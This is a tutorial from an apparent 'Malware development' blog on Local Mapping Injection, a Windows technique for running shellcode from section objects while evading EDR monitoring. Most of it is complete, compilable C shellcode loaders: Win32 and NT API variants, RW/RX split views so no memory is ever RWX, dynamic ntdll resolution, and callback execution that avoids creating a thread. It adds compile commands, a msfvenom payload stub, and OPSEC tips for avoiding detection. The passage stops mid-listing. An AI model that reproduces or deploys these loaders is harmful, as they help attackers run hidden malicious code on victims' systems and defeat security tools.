ᛉ Yggdrasil

Malware development

Local Mapping Injection

16 Sep 2026 · 8,899 words · 40 min

Contents

Legend: [MAP] = Mapping technique | [WINAPI] = Windows API used | [NTAPI] = NT-level internal API | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [EDR] = EDR relevance | [C2] = C2 framework relevance | [VAR] = Technique variant


1. What is Local Mapping Injection

What it means: Local Mapping Injection is a shellcode execution technique where memory is allocated not through VirtualAlloc / VirtualAllocEx but through Windows Section Objects — a shared memory mechanism built into the kernel. A section is created, a view of that section is mapped into the process's address space, shellcode is written into the view, and execution is triggered. The key benefit: no call to VirtualAllocEx or WriteProcessMemory appears in the API trace — these are the two most-monitored APIs in classic injection detection.

Classic injection API signature (heavily monitored):
  VirtualAlloc(Ex)   ← EDR HOOK
  WriteProcessMemory ← EDR HOOK
  CreateRemoteThread ← EDR HOOK

Mapping injection API signature (different footprint):
  CreateFileMapping  ← less monitored
  MapViewOfFile      ← less monitored
  memcpy             ← just a memory copy, no hook
  CreateThread       ← still monitored, but local only

The core mental model:

Section Object = a shared memory block managed by the kernel
                 Multiple processes can "view" the same section simultaneously
                 Writing to the view in process A appears in process B's view instantly
                 No need for WriteProcessMemory to cross process boundaries

Local mapping:
  [Your Process]
    Create section → Map RW view → Write shellcode → Map RX view → Execute from RX view
                                    ↑                 ↑
                               no RWX anywhere    no VirtualAlloc

Why it matters for red teaming / C2: | Scenario | Classic Injection | Mapping Injection | |----------|------------------|------------------| | Memory allocation API | VirtualAlloc (highly monitored) | CreateFileMapping / NtCreateSection | | Write to memory | WriteProcessMemory (highly monitored) | memcpy to local view | | Memory pages RWX? | Often yes (detected) | No — RW write, RX execute (split view) | | Cross-process write | WriteProcessMemory | Mirrored view — no explicit write call | | Disk artifact | None | None (INVALID_HANDLE_VALUE = pagefile-backed) | | API pattern uniqueness | Generic, well-known | Different enough to evade rule-based detection |

[OPSEC] The single biggest advantage of mapping injection is avoiding WriteProcessMemory for cross-process code delivery. Defenders specifically watch for VirtualAllocEx → WriteProcessMemory → CreateRemoteThread. Mapping replaces the first two with a different, less-monitored pattern.


2. Why Mapping Instead of VirtualAlloc

What it means: Understanding the detection problem that mapping solves. Modern EDR products instrument the classic injection chain at multiple layers — kernel ETW, userland API hooks, and behavioral sequence correlation.

2.1 The Classic Injection Problem

Process A (attacker's loader) calls:

1. VirtualAllocEx(hTargetProcess, ...)
     └─ EDR sees: remote allocation event
          └─ Who is allocating in PID X? Suspicious.

2. WriteProcessMemory(hTargetProcess, pRemoteMem, shellcode, ...)
     └─ EDR sees: process A writing into process B
          └─ Combined with #1: HIGH SUSPICION

3. CreateRemoteThread(hTargetProcess, ..., pRemoteMem, ...)
     └─ EDR sees: new thread in process B, start addr = #1's allocation
          └─ Combined with #1 + #2: ALERT

2.2 What Mapping Looks Like

Process A (attacker's loader) calls:

1. CreateFileMapping(INVALID_HANDLE_VALUE, ...)
     └─ Creates pagefile-backed section object
          └─ "Creating a file mapping" — common in many apps

2. MapViewOfFile(hMapping, FILE_MAP_WRITE, ...)  [local view, RW]
     └─ "Mapping a view into local process"
          └─ Common pattern in IPC, memory-mapped files

3. memcpy(pLocalView, shellcode, sz)
     └─ Just a memory copy, zero EDR visibility

4. [For remote] MapViewOfFile2(hMapping, hTargetProcess, ...)  [remote view, RX]
     └─ Section now appears in target process's address space
          └─ No WriteProcessMemory call ever made

5. CreateThread / CreateRemoteThread(pRemoteView)
     └─ Execution trigger — still monitored but pattern is different

2.3 The Section Object Mirror Property

┌────────────────────────────────────────────────────────────────┐
│               KERNEL — Section Object                          │
│              (backed by pagefile, no file on disk)             │
│                                                                │
│  ┌──────────────────────────────────────┐                      │
│  │  Physical memory: shellcode bytes    │                      │
│  └──────────────────────────────────────┘                      │
│           ↑                      ↑                             │
│     Local view (RW)        Remote view (RX)                    │
│   [Process A address]    [Process B address]                   │
│                                                                │
│  Writing to local view = INSTANTLY reflected in remote view    │
│  No WriteProcessMemory needed                                  │
└────────────────────────────────────────────────────────────────┘

[EDR] Cobalt Strike uses CreateFileMapping → MapViewOfFile → NtMapViewOfSection as an alternative allocator in its Malleable C2 profiles (process-inject → allocator → NtMapViewOfSection). This is a real-world signal that the technique is operationally effective.


3. Core Windows Concepts — Section Objects & Views

What it means: Section Objects are a first-class Windows kernel primitive. Understanding them deeply unlocks the full range of mapping techniques.

3.1 Section Object Basics

Section Object:
  ├─ A kernel object representing a block of sharable memory
  ├─ Can be backed by:
  │   ├─ A file on disk (memory-mapped file reading)
  │   └─ The system paging file (INVALID_HANDLE_VALUE — no disk file)
  ├─ Multiple views can be mapped simultaneously
  ├─ Views in different processes share the same physical pages
  └─ Permissions per-view: each view can have different protection

Win32 API layer:
  CreateFileMapping()  → creates section object
  MapViewOfFile()      → maps a view into current process
  MapViewOfFile2()     → maps a view into a specified process (remote)
  MapViewOfFile3()     → extended version of MapViewOfFile2
  UnmapViewOfFile()    → unmaps a view
  CloseHandle()        → closes section handle

NT API layer (ntdll.dll):
  NtCreateSection()    → creates section object (more control)
  NtMapViewOfSection() → maps view into any process
  NtUnmapViewOfSection() → unmaps view
  NtClose()            → closes handle

3.2 Key Parameters

CreateFileMapping() key parameters:
  hFile:          INVALID_HANDLE_VALUE  → backed by pagefile (no disk file) ← use this
                  actual HANDLE         → backed by that file
  flProtect:      PAGE_EXECUTE_READ             (RX section)
                  PAGE_EXECUTE_READWRITE        (RWX section)
                  PAGE_EXECUTE_WRITECOPY        (RWX copy-on-write)
                  PAGE_READWRITE                (RW section — can't exec directly)
  dwMaximumSize:  Size in bytes of the section

MapViewOfFile() key parameters:
  dwDesiredAccess: FILE_MAP_READ | FILE_MAP_WRITE | FILE_MAP_EXECUTE
                   FILE_MAP_WRITE          → writable view
                   FILE_MAP_EXECUTE        → executable view
                   FILE_MAP_ALL_ACCESS     → full access
  dwNumberOfBytesToMap: 0 = map entire section, else partial

NtCreateSection() key parameters:
  DesiredAccess:   SECTION_ALL_ACCESS
  MaximumSize:     pointer to LARGE_INTEGER with size
  PageAttributes:  PAGE_EXECUTE_READWRITE (section-level protection)
  SectionAttributes: SEC_COMMIT (commit pages), SEC_RESERVE (reserve)
  FileHandle:      NULL = pagefile-backed ← use this

NtMapViewOfSection() key parameters:
  SectionHandle:   handle from NtCreateSection
  ProcessHandle:   target process (GetCurrentProcess() for local)
  BaseAddress:     in/out — preferred address or NULL
  ViewSize:        in/out — size of view
  InheritDisposition: 2 = ViewUnmap (don't inherit in child processes)
  Protect:         PAGE_READWRITE, PAGE_EXECUTE_READ, etc. (view-level override)

3.3 Section Protection Hierarchy

Section-level protection (set at creation) defines the MAXIMUM allowed:
  PAGE_EXECUTE_READWRITE → views can be RW or RX or RWX (up to RWX)
  PAGE_EXECUTE_READ      → views can be RX only (write not allowed)

View-level protection (set at map time) defines THIS view's actual protection:
  Must be ≤ section protection
  Examples:
    Section: PAGE_EXECUTE_READWRITE → View1: PAGE_READWRITE, View2: PAGE_EXECUTE_READ
    Section: PAGE_EXECUTE_READ      → View:  PAGE_EXECUTE_READ only

The key evasion trick:
  Section = PAGE_EXECUTE_READWRITE (maximum allowed)
  Local view  = PAGE_READWRITE   (RW  — write shellcode here, NOT executable)
  Remote view = PAGE_EXECUTE_READ (RX  — execute here, NOT writable)

  → No process EVER has a single RWX mapping ← evades RWX detection
  → Write and execute are in DIFFERENT address ranges ← confuses forensics

4. API Layers — Win32 vs NT API

What it means: Two API layers implement mapping. Win32 (kernel32/kernelbase) is documented and simpler. NT API (ntdll) is undocumented, lower-level, and less commonly hooked by EDR.

                       Win32 Layer                NT Layer
                   ─────────────────           ──────────────────
Create section:    CreateFileMapping()    →     NtCreateSection()
Map local view:    MapViewOfFile()        →     NtMapViewOfSection() [local]
Map remote view:   MapViewOfFile2/3()     →     NtMapViewOfSection() [remote]
Unmap view:        UnmapViewOfFile()      →     NtUnmapViewOfSection()
Close handle:      CloseHandle()          →     NtClose()
                       ↑                              ↑
                 Easier to use                 Less monitored
                 Well documented              Requires typedef
                 More API hooks               Bypass most hooks
                 Platform: all Win            Needs: ntdll link or dynamic resolve

How to resolve NT APIs dynamically (avoid import table entries):

// Dynamic resolution — no import table entry for ntdll functions
typedef NTSTATUS (NTAPI *pNtCreateSection)(
    OUT PHANDLE SectionHandle,
    IN  ACCESS_MASK DesiredAccess,
    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN  PLARGE_INTEGER MaximumSize OPTIONAL,
    IN  ULONG SectionPageProtection,
    IN  ULONG AllocationAttributes,
    IN  HANDLE FileHandle OPTIONAL
);

typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
    IN  HANDLE SectionHandle,
    IN  HANDLE ProcessHandle,
    IN  OUT PVOID *BaseAddress,
    IN  ULONG_PTR ZeroBits,
    IN  SIZE_T CommitSize,
    IN  OUT PLARGE_INTEGER SectionOffset OPTIONAL,
    IN  OUT PSIZE_T ViewSize,
    IN  DWORD InheritDisposition,  // 2 = ViewUnmap
    IN  ULONG AllocationType,
    IN  ULONG Win32Protect
);

typedef NTSTATUS (NTAPI *pRtlCreateUserThread)(
    IN  HANDLE ProcessHandle,
    IN  PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
    IN  BOOLEAN CreateSuspended,
    IN  ULONG StackZeroBits,
    IN  PULONG StackReserved,
    IN  PULONG StackCommit,
    IN  PVOID StartAddress,
    IN  PVOID StartParameter OPTIONAL,
    OUT PHANDLE ThreadHandle,
    OUT PCLIENT_ID ClientId
);

// Resolve at runtime:
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
pNtCreateSection    NtCreateSection    = (pNtCreateSection)   GetProcAddress(ntdll, "NtCreateSection");
pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
pRtlCreateUserThread RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(ntdll, "RtlCreateUserThread");

[OPSEC] Dynamic resolution via GetProcAddress still leaves GetProcAddress in the import table. For maximum stealth, use a custom GetProcAddress via PEB walking or hash-based API resolution to eliminate all telltale imports.


5. Technique 1 — Win32 Local Execution

[MAP] APIs: CreateFileMapping → MapViewOfFile → memcpy → CreateThread DLLs: kernel32.dll Execution: Same process, new thread

What it means: The simplest mapping technique. Creates a pagefile-backed section, maps an executable view into the current process, copies shellcode, and creates a thread. Replaces VirtualAlloc with CreateFileMapping + MapViewOfFile — different API footprint, same OPSEC weaknesses (RWX pages, new thread from heap-like address).

5.1 Full Implementation (C)

#include <windows.h>
#include <stdio.h>

// Shellcode placeholder — replace with your payload
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
    // ... rest of shellcode ...
};
unsigned int sc_len = sizeof(shellcode);

int main() {
    // Step 1: Create pagefile-backed section with execute permissions
    // INVALID_HANDLE_VALUE = backed by pagefile, no file on disk
    HANDLE hMapping = CreateFileMappingW(
        INVALID_HANDLE_VALUE,           // pagefile-backed (no disk artifact)
        NULL,                           // default security
        PAGE_EXECUTE_READWRITE,         // section allows RWX
        0,                              // size high
        sc_len,                         // size low
        NULL                            // unnamed
    );
    if (!hMapping) {
        printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Section created: %p\n", hMapping);

    // Step 2: Map a view of the section into current process
    // FILE_MAP_WRITE | FILE_MAP_EXECUTE = writable + executable view
    LPVOID pMap = MapViewOfFile(
        hMapping,
        FILE_MAP_WRITE | FILE_MAP_EXECUTE,  // RWX view
        0,                                  // offset high
        0,                                  // offset low
        sc_len                              // bytes to map
    );
    if (!pMap) {
        printf("[-] MapViewOfFile failed: %lu\n", GetLastError());
        CloseHandle(hMapping);
        return 1;
    }
    printf("[+] View mapped at: %p\n", pMap);

    // Step 3: Handle no longer needed after mapping is established
    CloseHandle(hMapping);

    // Step 4: Copy shellcode into the mapped view
    // memcpy — no API hooks, no write event
    memcpy(pMap, shellcode, sc_len);
    printf("[+] Shellcode copied (%u bytes)\n", sc_len);

    // Step 5: Execute shellcode by creating a thread
    HANDLE hThread = CreateThread(
        NULL,                           // default security
        0,                              // default stack size
        (LPTHREAD_START_ROUTINE)pMap,   // thread entry = shellcode address
        NULL,                           // no parameter
        0,                              // run immediately
        NULL                            // don't need thread ID
    );
    if (!hThread) {
        printf("[-] CreateThread failed: %lu\n", GetLastError());
        UnmapViewOfFile(pMap);
        return 1;
    }
    printf("[+] Thread created: %p\n", hThread);

    // Step 6: Wait for shellcode to complete (optional — for calc PoC)
    WaitForSingleObject(hThread, INFINITE);

    // Step 7: Cleanup
    CloseHandle(hThread);
    UnmapViewOfFile(pMap);

    return 0;
}

5.2 Compile

# MinGW (cross-compile from Linux)
x86_64-w64-mingw32-gcc local_mapping_t1.c -o local_mapping_t1.exe -lkernel32

# MSVC (Windows)
cl.exe local_mapping_t1.c /Fe:local_mapping_t1.exe kernel32.lib

[DETECT] This variant still maps an RWX view — EDRs that watch for executable private mappings will flag it. The CreateThread with entry point in a section mapping is also a detection vector. Use Technique 2 or 4 for better evasion.


6. Technique 2 — Win32 Mapping with RW→RX Split View

[MAP] APIs: CreateFileMapping → MapViewOfFile (RW) → memcpy → MapViewOfFile (RX) → CreateThread DLLs: kernel32.dll Execution: Same process, new thread, NO RWX pages ever

What it means: Eliminates the RWX page entirely. The section is created with PAGE_EXECUTE_READWRITE capability, but two SEPARATE views are mapped — one with write permissions (for shellcode copy), one with execute permissions (for execution). No single view is ever both writable AND executable simultaneously.

6.1 Split-View Architecture

Section (PAGE_EXECUTE_READWRITE — maximum capability):
    │
    ├─── View 1: PAGE_READWRITE  (writable, NOT executable)
    │    Address: 0x00000234A0000000   ← memcpy shellcode here
    │
    └─── View 2: PAGE_EXECUTE_READ (executable, NOT writable)
         Address: 0x00000234B0000000   ← CreateThread points here

Physical memory (one copy):
    ┌──────────────────────────┐
    │  shellcode bytes         │  ← same physical pages, two virtual mappings
    └──────────────────────────┘

EDR memory scan:
    View 1 → PAGE_READWRITE → "just data, not executable" → no alert
    View 2 → PAGE_EXECUTE_READ → "executable but not writable" → low suspicion
    No PAGE_EXECUTE_READWRITE mapping visible at runtime ← key evasion

6.2 Full Implementation (C)

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = { /* your shellcode bytes */ };
unsigned int sc_len = sizeof(shellcode);

int main() {
    // Step 1: Create section — RWX capability, pagefile-backed
    HANDLE hMapping = CreateFileMappingW(
        INVALID_HANDLE_VALUE,
        NULL,
        PAGE_EXECUTE_READWRITE,     // Maximum: views can be up to RWX
        0,
        sc_len,
        NULL
    );
    if (!hMapping) { printf("[-] CreateFileMapping failed\n"); return 1; }

    // Step 2: Map WRITABLE view (for writing shellcode)
    // FILE_MAP_WRITE only — NOT executable → no RWX in this view
    LPVOID pWrite = MapViewOfFile(
        hMapping,
        FILE_MAP_WRITE,             // Write-only view
        0, 0, sc_len
    );
    if (!pWrite) { printf("[-] MapViewOfFile (RW) failed\n"); CloseHandle(hMapping); return 1; }
    printf("[+] Write view:   %p (PAGE_READWRITE)\n", pWrite);

    // Step 3: Map EXECUTABLE view (for execution)
    // FILE_MAP_EXECUTE | FILE_MAP_READ — NOT writable
    LPVOID pExec = MapViewOfFile(
        hMapping,
        FILE_MAP_EXECUTE | FILE_MAP_READ,  // Execute+Read view
        0, 0, sc_len
    );
    if (!pExec) { printf("[-] MapViewOfFile (RX) failed\n"); UnmapViewOfFile(pWrite); CloseHandle(hMapping); return 1; }
    printf("[+] Exec view:    %p (PAGE_EXECUTE_READ)\n", pExec);

    // Step 4: Handle no longer needed
    CloseHandle(hMapping);

    // Step 5: Copy shellcode into the WRITE view
    // This instantly reflects in the EXEC view (same physical pages)
    memcpy(pWrite, shellcode, sc_len);
    printf("[+] Shellcode written to RW view — reflected in RX view automatically\n");

    // Step 6: Unmap the write view (optional but OPSEC: remove writable mapping)
    UnmapViewOfFile(pWrite);
    printf("[+] Write view unmapped — only RX view remains\n");

    // Step 7: Execute from the EXEC view (no write permission here)
    HANDLE hThread = CreateThread(
        NULL, 0,
        (LPTHREAD_START_ROUTINE)pExec,  // Thread entry = RX-only view
        NULL, 0, NULL
    );
    if (!hThread) { printf("[-] CreateThread failed\n"); UnmapViewOfFile(pExec); return 1; }
    printf("[+] Thread started at RX view: %p\n", pExec);

    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    UnmapViewOfFile(pExec);
    return 0;
}

[OPSEC] After UnmapViewOfFile(pWrite), the memory scanner sees only a PAGE_EXECUTE_READ mapping — no writable pages, no RWX. This is much harder to distinguish from a legitimate loaded module section.

[DETECT] CreateFileMappingW with PAGE_EXECUTE_READWRITE + two consecutive MapViewOfFile calls is becoming a detectable pattern in mature EDR behavioral rules. Consider moving to NT API (Technique 4) to reduce visibility.


7. Technique 3 — NTAPI Local Execution (NtCreateSection + NtMapViewOfSection)

[MAP] [NTAPI] APIs: NtCreateSection → NtMapViewOfSection (local, RWX) → memcpy → RtlCreateUserThread DLLs: ntdll.dll Execution: Same process, new thread via NT API

What it means: The full NT-API equivalent of Technique 1. Uses undocumented ntdll.dll functions directly — bypasses Win32 API hooks placed by EDR on CreateFileMapping and MapViewOfFile. The key advantage: many EDR products only hook the documented Win32 layer, not the underlying ntdll functions.

7.1 Required Structures & Typedefs

#include <windows.h>
#include <winternl.h>

// NT structures needed
typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    PVOID UniqueProcess;
    PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

// Initialize OBJECT_ATTRIBUTES macro
#define InitializeObjectAttributes(p, n, a, r, s) { \
    (p)->Length = sizeof(OBJECT_ATTRIBUTES);          \
    (p)->RootDirectory = r;                           \
    (p)->Attributes = a;                              \
    (p)->ObjectName = n;                              \
    (p)->SecurityDescriptor = s;                      \
    (p)->SecurityQualityOfService = NULL;             \
}

// Function pointer typedefs
typedef NTSTATUS (NTAPI *pNtCreateSection)(
    OUT PHANDLE SectionHandle,
    IN  ACCESS_MASK DesiredAccess,
    IN  POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN  PLARGE_INTEGER MaximumSize OPTIONAL,
    IN  ULONG SectionPageProtection,
    IN  ULONG AllocationAttributes,
    IN  HANDLE FileHandle OPTIONAL
);

typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
    IN  HANDLE SectionHandle,
    IN  HANDLE ProcessHandle,
    IN  OUT PVOID *BaseAddress,
    IN  ULONG_PTR ZeroBits,
    IN  SIZE_T CommitSize,
    IN  OUT PLARGE_INTEGER SectionOffset OPTIONAL,
    IN  OUT PSIZE_T ViewSize,
    IN  DWORD InheritDisposition,
    IN  ULONG AllocationType,
    IN  ULONG Win32Protect
);

typedef NTSTATUS (NTAPI *pRtlCreateUserThread)(
    IN  HANDLE ProcessHandle,
    IN  PSECURITY_DESCRIPTOR SecurityDescriptor,
    IN  BOOLEAN CreateSuspended,
    IN  ULONG StackZeroBits,
    IN  PULONG StackReserved,
    IN  PULONG StackCommit,
    IN  PVOID StartAddress,
    IN  PVOID StartParameter,
    OUT PHANDLE ThreadHandle,
    OUT PCLIENT_ID ClientId
);

#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)

7.2 Full Implementation (C)

// Continuing from typedefs above...

unsigned char shellcode[] = { /* your shellcode bytes */ };

int main() {
    // Resolve NT functions from ntdll
    HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
    pNtCreateSection    NtCreateSection    = (pNtCreateSection)   GetProcAddress(ntdll, "NtCreateSection");
    pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
    pRtlCreateUserThread RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(ntdll, "RtlCreateUserThread");

    if (!NtCreateSection || !NtMapViewOfSection || !RtlCreateUserThread) {
        printf("[-] Failed to resolve NTAPI functions\n");
        return 1;
    }

    // Step 1: Create section object
    HANDLE hSection = NULL;
    LARGE_INTEGER maxSize;
    maxSize.QuadPart = sizeof(shellcode);

    NTSTATUS status = NtCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,          // full access to section
        NULL,                        // no object attributes (anonymous)
        &maxSize,                    // size of section
        PAGE_EXECUTE_READWRITE,      // max protection for section
        SEC_COMMIT,                  // commit pages immediately
        NULL                         // NULL = pagefile-backed (no disk file)
    );
    if (!NT_SUCCESS(status)) {
        printf("[-] NtCreateSection failed: 0x%08X\n", status);
        return 1;
    }
    printf("[+] Section created: %p\n", hSection);

    // Step 2: Map view into current (local) process
    PVOID localBase = NULL;
    SIZE_T viewSize = 0;

    status = NtMapViewOfSection(
        hSection,
        GetCurrentProcess(),        // local process
        &localBase,                 // let OS choose address
        0,                          // zero bits
        0,                          // commit size (0 = all)
        NULL,                       // no section offset
        &viewSize,                  // receives actual mapped size
        2,                          // ViewUnmap = 2
        0,                          // no alloc type
        PAGE_EXECUTE_READWRITE      // RWX view (switch to RW in Technique 4)
    );
    if (!NT_SUCCESS(status)) {
        printf("[-] NtMapViewOfSection (local) failed: 0x%08X\n", status);
        NtClose(hSection);
        return 1;
    }
    printf("[+] Local view mapped at: %p (size: %zu)\n", localBase, viewSize);

    // Step 3: Write shellcode into mapped view
    memcpy(localBase, shellcode, sizeof(shellcode));
    printf("[+] Shellcode written\n");

    // Step 4: Execute via RtlCreateUserThread (NT-level thread creation)
    HANDLE hThread = NULL;
    CLIENT_ID cid = {0};

    status = RtlCreateUserThread(
        GetCurrentProcess(),        // target process (self)
        NULL,                       // no security descriptor
        FALSE,                      // not suspended
        0,                          // stack zero bits
        NULL,                       // stack reserved
        NULL,                       // stack commit
        localBase,                  // thread start = shellcode address
        NULL,                       // no parameter
        &hThread,                   // receives thread handle
        &cid                        // receives client ID
    );
    if (!NT_SUCCESS(status)) {
        printf("[-] RtlCreateUserThread failed: 0x%08X\n", status);
        return 1;
    }
    printf("[+] Thread created (NT): %p | PID: %llu TID: %llu\n",
           hThread, (ULONG64)cid.UniqueProcess, (ULONG64)cid.UniqueThread);

    WaitForSingleObject(hThread, INFINITE);

    // Cleanup
    NtClose(hThread);
    // NtUnmapViewOfSection if needed
    NtClose(hSection);
    return 0;
}

7.3 Compile with ntdll

# MinGW — link ntdll statically
x86_64-w64-mingw32-gcc ntapi_local.c -o ntapi_local.exe -lntdll

# MSVC
cl.exe ntapi_local.c /Fe:ntapi_local.exe ntdll.lib
# Or: #pragma comment(lib, "ntdll") at top of file

[OPSEC] RtlCreateUserThread is lower-profile than CreateThread but still creates a thread. EDR products that hook ntdll functions via in-memory patches (trampoline hooks) will still catch this. Use direct syscalls (§17) to bypass even ntdll hooks.


8. Technique 4 — NTAPI RW+RX Split View (No RWX Pages)

[MAP] [NTAPI] APIs: NtCreateSection → NtMapViewOfSection (RW local) → memcpy → NtMapViewOfSection (RX local) → execute This is the gold standard local mapping technique.

What it means: Combines the NT API bypass with the RW+RX split view evasion. The section is created with PAGE_EXECUTE_READWRITE capability, but the LOCAL view used for writing is PAGE_READWRITE, and the LOCAL view used for execution is PAGE_EXECUTE_READ. At no point is there an RWX page in any process. This is the pattern used in mature implants and documented in ired.team.

8.1 Implementation (C) — Gold Standard

#include <windows.h>
#include <stdio.h>
// ... (include typedefs from §7.1) ...

unsigned char shellcode[] = { /* your shellcode bytes */ };

int main() {
    // Resolve NTAPI
    HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
    pNtCreateSection    NtCreateSection    = (pNtCreateSection)   GetProcAddress(ntdll, "NtCreateSection");
    pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
    pRtlCreateUserThread RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(ntdll, "RtlCreateUserThread");

    // Step 1: Create section — MAX capability RWX (required so views can be RX)
    HANDLE hSection = NULL;
    LARGE_INTEGER maxSize;
    maxSize.QuadPart = sizeof(shellcode);

    NTSTATUS status = NtCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,
        NULL,
        &maxSize,
        PAGE_EXECUTE_READWRITE,     // Section maximum = RWX
        SEC_COMMIT,
        NULL                        // pagefile-backed, no disk
    );
    if (!NT_SUCCESS(status)) { printf("[-] NtCreateSection: 0x%08X\n", status); return 1; }

    // Step 2: Map WRITE view (RW only — for copying shellcode)
    PVOID localWriteBase = NULL;
    SIZE_T sz = 0;

    status = NtMapViewOfSection(
        hSection,
        GetCurrentProcess(),
        &localWriteBase,
        0, 0, NULL, &sz,
        2,                          // ViewUnmap
        0,
        PAGE_READWRITE              // ← RW ONLY — not executable
    );
    if (!NT_SUCCESS(status)) { printf("[-] NtMapViewOfSection (RW): 0x%08X\n", status); return 1; }
    printf("[+] Write view (RW):  %p\n", localWriteBase);

    // Step 3: Map EXECUTE view (RX only — for execution)
    PVOID localExecBase = NULL;
    sz = 0;

    status = NtMapViewOfSection(
        hSection,
        GetCurrentProcess(),
        &localExecBase,
        0, 0, NULL, &sz,
        2,                          // ViewUnmap
        0,
        PAGE_EXECUTE_READ           // ← RX ONLY — not writable
    );
    if (!NT_SUCCESS(status)) { printf("[-] NtMapViewOfSection (RX): 0x%08X\n", status); return 1; }
    printf("[+] Exec view  (RX):  %p\n", localExecBase);

    // Step 4: Write shellcode into the RW view
    memcpy(localWriteBase, shellcode, sizeof(shellcode));
    printf("[+] Shellcode written to RW view — mirrored to RX view\n");

    // Optional OPSEC: unmap the write view before executing
    // This leaves only an RX view visible to memory scanners
    // NtUnmapViewOfSection(GetCurrentProcess(), localWriteBase);

    // Step 5: Execute from RX view — use callback instead of CreateThread for better OPSEC
    // Option A: CreateThread (simpler)
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)localExecBase, NULL, 0, NULL);

    // Option B: RtlCreateUserThread (NT-level, avoids CreateThread hook)
    // HANDLE hThread = NULL;
    // CLIENT_ID cid = {0};
    // RtlCreateUserThread(GetCurrentProcess(), NULL, FALSE, 0, NULL, NULL,
    //                     localExecBase, NULL, &hThread, &cid);

    // Option C: Callback technique (see §9 — no thread creation at all)
    // EnumSystemLocalesW((LOCALE_ENUMPROCW)localExecBase, LCID_INSTALLED);

    if (!hThread) { printf("[-] Thread creation failed\n"); return 1; }
    printf("[+] Executing from RX view: %p\n", localExecBase);

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    NtClose(hSection);
    return 0;
}

8.2 Memory View at Runtime

Process memory map after Technique 4:

Address Range              Size    Type      Protection    Description
─────────────────────────────────────────────────────────────────────────
0x00000234A0000000         4096    Mapped    RW            Write view (shellcode write)
0x00000234B0000000         4096    Mapped    RX            Exec view  (shellcode runs here)
0x00007FF6A0000000    varies       Image     RX            loader.exe (PE-backed)
0x00007FFD00000000    varies       Image     RX            ntdll.dll  (PE-backed)
...

EDR sees:
  - Two Mapped views (section-backed, not private)
  - Neither is RWX
  - RW view = "just data"
  - RX view = "executable mapped section" — similar to a DLL

vs. Classic injection:
  - Private RWX allocation at 0x0000...
  - "This is shellcode"

[OPSEC] The mapped views are of type MEM_MAPPED (not MEM_PRIVATE). Some EDR heuristics specifically flag MEM_PRIVATE + PAGE_EXECUTE as high-suspicion (private executable memory = unlinked shellcode). MEM_MAPPED appears in legitimate IPC code, memory-mapped file readers, and Windows itself — far lower baseline suspicion.


9. Technique 5 — Local Mapping + Callback Execution (No CreateThread)

[MAP] APIs: NtCreateSection → NtMapViewOfSection (RW) → memcpy → NtMapViewOfSection (RX) → Callback API Execution: No new thread — callback API triggers shellcode in existing thread

What it means: Combines the RW+RX split mapping from §8 with the callback execution technique. Instead of calling CreateThread or RtlCreateUserThread, the RX view address is passed to a callback-based API (like EnumSystemLocalesW). This eliminates thread-creation events entirely.

// After mapping shellcode with RW+RX split (from §8):
// localExecBase = RX-only view address

// Option A: EnumSystemLocalesW (kernel32, reliable, medium suspicion)
EnumSystemLocalesW((LOCALE_ENUMPROCW)localExecBase, LCID_INSTALLED);

// Option B: CertEnumSystemStore (crypt32, low suspicion)
#include <wincrypt.h>
CertEnumSystemStore(
    CERT_SYSTEM_STORE_CURRENT_USER,
    NULL,
    NULL,
    (PFN_CERT_ENUM_SYSTEM_STORE)localExecBase
);

// Option C: EnumDisplayMonitors (user32, always has at least 1 monitor)
EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)localExecBase, 0);

// Option D: CreateTimerQueueTimer (thread pool, async)
HANDLE hTimer = NULL;
CreateTimerQueueTimer(&hTimer, NULL,
    (WAITORTIMERCALLBACK)localExecBase, NULL,
    100, 0, WT_EXECUTEONLYONCE);
Sleep(500);

// Option E: EnumFontFamiliesExW (gdi32, very legitimate-looking)
HDC hdc = GetDC(NULL);
LOGFONTW lf = {0};
lf.lfCharSet = DEFAULT_CHARSET;
EnumFontFamiliesExW(hdc, &lf, (FONTENUMPROCW)localExecBase, 0, 0);
ReleaseDC(NULL, hdc);

Full integrated example:

#include <windows.h>
#include <wincrypt.h>

// (Include typedefs from §7.1)

unsigned char shellcode[] = { /* shellcode */ };

int main() {
    HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
    pNtCreateSection    NtCS = (pNtCreateSection)   GetProcAddress(ntdll, "NtCreateSection");
